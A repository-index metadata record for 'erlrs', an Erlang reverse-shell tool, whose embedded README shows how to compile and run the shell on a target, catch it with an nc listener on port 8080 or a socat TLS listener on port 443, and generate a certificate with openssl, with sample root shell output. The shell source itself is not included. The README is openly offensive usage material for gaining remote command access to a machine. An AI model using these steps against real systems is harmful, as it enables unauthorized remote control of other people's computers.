{"id":19552937,"url":"https://github.com/potato-industries/erlrs","last_synced_at":"2025-08-20T16:20:38.971Z","repository":{"id":177275619,"uuid":"223506485","full_name":"Potato-Industries/erlrs","owner":"Potato-Industries","description":"erlang based secure reverse shell","archived":false,"fork":false,"pushed_at":"2019-11-23T02:44:28.000Z","size":7,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-02-26T07:22:41.405Z","etag":null,"topics":["erlang","reverse-shell"],"latest_commit_sha":null,"homepage":"","language":"Erlang","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Potato-Industries.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-11-23T00:07:55.000Z","updated_at":"2021-12-09T00:26:25.000Z","dependencies_parsed_at":null,"dependency_job_id":"eb7638a6-6344-4f3d-bcb3-5a7ee17e12bc","html_url":"https://github.com/Potato-Industries/erlrs","commit_stats":null,"previous_names":["potato-industries/erlrs"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Potato-Industries/erlrs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Ferlrs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Ferlrs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Ferlrs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Ferlrs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Potato-Industries","download_url":"https://codeload.github.com/Potato-Industries/erlrs/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Ferlrs/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":271347061,"owners_count":24743755,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-20T02:00:09.606Z","response_time":69,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["erlang","reverse-shell"],"created_at":"2024-11-11T04:20:14.323Z","updated_at":"2025-08-20T16:20:38.919Z","avatar_url":"https://github.com/Potato-Industries.png","language":"Erlang","funding_links":[],"categories":[],"sub_categories":[],"readme":"# erlrs\n\nerlang based secure reverse shell\n\n\n**Usage**\n\nerlrs.erl *(plaintext)*\n\nTarget\n```\nroot@WOPR-KALI:/opt/erlrs# erlc erlrs.erl \nerlrs.erl:13: Warning: variable 'Reason' is unused\nerlrs.erl:24: Warning: variable 'Reason' is unused\nroot@WOPR-KALI:/opt/erlrs# erl -noshell -s erlrs main\n\n```\n\nListener\n```\nroot@WOPR-KALI:~# nc -lvnp 8080\nlistening on [any] 8080 ...\nconnect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44983\nuname -a\nLinux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux\n^C\n```\n\nerlrss.erl *(tls)*\n\nTarget\n```\nroot@WOPR-KALI:/opt/erlrss# erlc erlrss.erl \nerlrss.erl:13: Warning: variable 'Reason' is unused\nerlrss.erl:24: Warning: variable 'Reason' is unused\nroot@WOPR-KALI:/opt/erlrss# erl -noshell -s erlrss main\n\n```\n\nListener\n```\nroot@WOPR-KALI:/opt/erlrss# socat openssl-listen:443,reuseaddr,fork,cert=/opt/erlrs/root.pem,cafile=/opt/erlrs/root.crt,verify=0 -\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nCreate root.pem:\n\n```\nopenssl req \\\n-x509 \\\n-newkey rsa:4096 \\\n-sha256 \\\n-days 3560 \\\n-nodes \\\n-keyout root.key \\\n-out root.crt \\\n-subj '/CN=target.com' \\\n-extensions san \\\n-config \u003c( \\\n  echo '[req]'; \\\n  echo 'distinguished_name=req'; \\\n  echo '[san]'; \\\n  echo 'subjectAltName=DNS:target.com')\n```\n\n![Screenshot from 2019-11-23 00-17-47](https://user-images.githubusercontent.com/56988989/69469085-e3644700-0d86-11ea-899d-07bd4f801bb9.png)\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpotato-industries%2Ferlrs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpotato-industries%2Ferlrs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpotato-industries%2Ferlrs/lists"}